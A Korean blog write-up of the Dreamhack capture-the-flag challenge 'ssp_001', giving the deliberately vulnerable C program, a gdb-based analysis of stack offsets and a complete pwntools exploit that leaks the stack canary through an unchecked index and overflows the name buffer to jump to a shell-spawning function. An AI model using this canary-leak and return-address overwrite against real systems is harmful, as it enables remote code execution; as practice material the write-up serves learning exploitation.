[ Dreamhack ] ssp_001

Hyeonjin Lee·2023년 3월 10일
0

문제 분석


32bit 바이너리이며, NX하고 Canary가 걸려있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

코드를 보면 다음과 같다

  • 메뉴 F는 box에 값을 넣을 수 있다.
  • 메뉴 P는 인덱스에 해당하는 box값을 볼 수 있다.
    -> 인덱스를 입력받을 때 경계값 검사가 없어 box 밖의 값을 볼 수 있다.
  • 메뉴 E는 이름을 입력하고 프로그램을 종료한다.
    -> 이름 크기의 제한이 없어 BOF취약점이 존재한다.
  • shell을 획득할 수 있는 get_shell()함수가 존재한다.

문제 풀이


gdb로 분석해보자.


main함수에서 메뉴 F, P, E로 넘어가는 분기점이다.
위에서부터 각각 F, P, E 순서대로다.


메뉴 F에서 box안에 값을 입력받는 부분이다.
입력한 값이 ebp-0x88에 들어가는 것을 볼 수 있다.

따라서 box부터 canary까지의 거리는 0x80byte(0x88-0x8)이다.


메뉴 E에서 Name을 입력받는 부분이다.
Name은 ebp-0x48에 위치하고 있다.

따라서 Name부터 canary까지의 거리는 0x40byte이다.


실제로 함수 P에서 인덱스 값을 canary위치에 맞게 넣어주면 1byte씩 추출할 수 있다.

마지막으로 payload를 작성할 수 있으며 이를 메뉴 E에서 Name에 넣어주면 된다.
dummy(0x40) + canary(4byte) + dummy(4byte) + sfp(4byte) + return address(get_shell())

exploit 코드는 다음과 같다.

from pwn import *
p = remote('host3.dreamhack.games', 18839)

get_shell = 0x80486b9
buf2cnry = 0x80
name2cnry = 0x40
canary = '0x'

p.sendlineafter('> ', 'F')
p.sendlineafter('box input : ', 'AAAABBBBCCCCDDDD')

for i in range(4):
    p.sendlineafter('> ', 'P')
    p.sendlineafter('Element index : ', str(buf2cnry+(3-i)))

    p.recvuntil('is : ')
    canary += p.recv(2)

canary = int(canary,16)

payload = ''
payload += 'A'*name2cnry
payload += p32(canary)
payload += 'B'*8
payload += p32(get_shell)

p.sendlineafter('> ', 'E')
p.sendlineafter('Name Size : ', '10000')
p.sendlineafter('Name : ', payload)

p.interactive()

profile
요즘 행복해요

0개의 댓글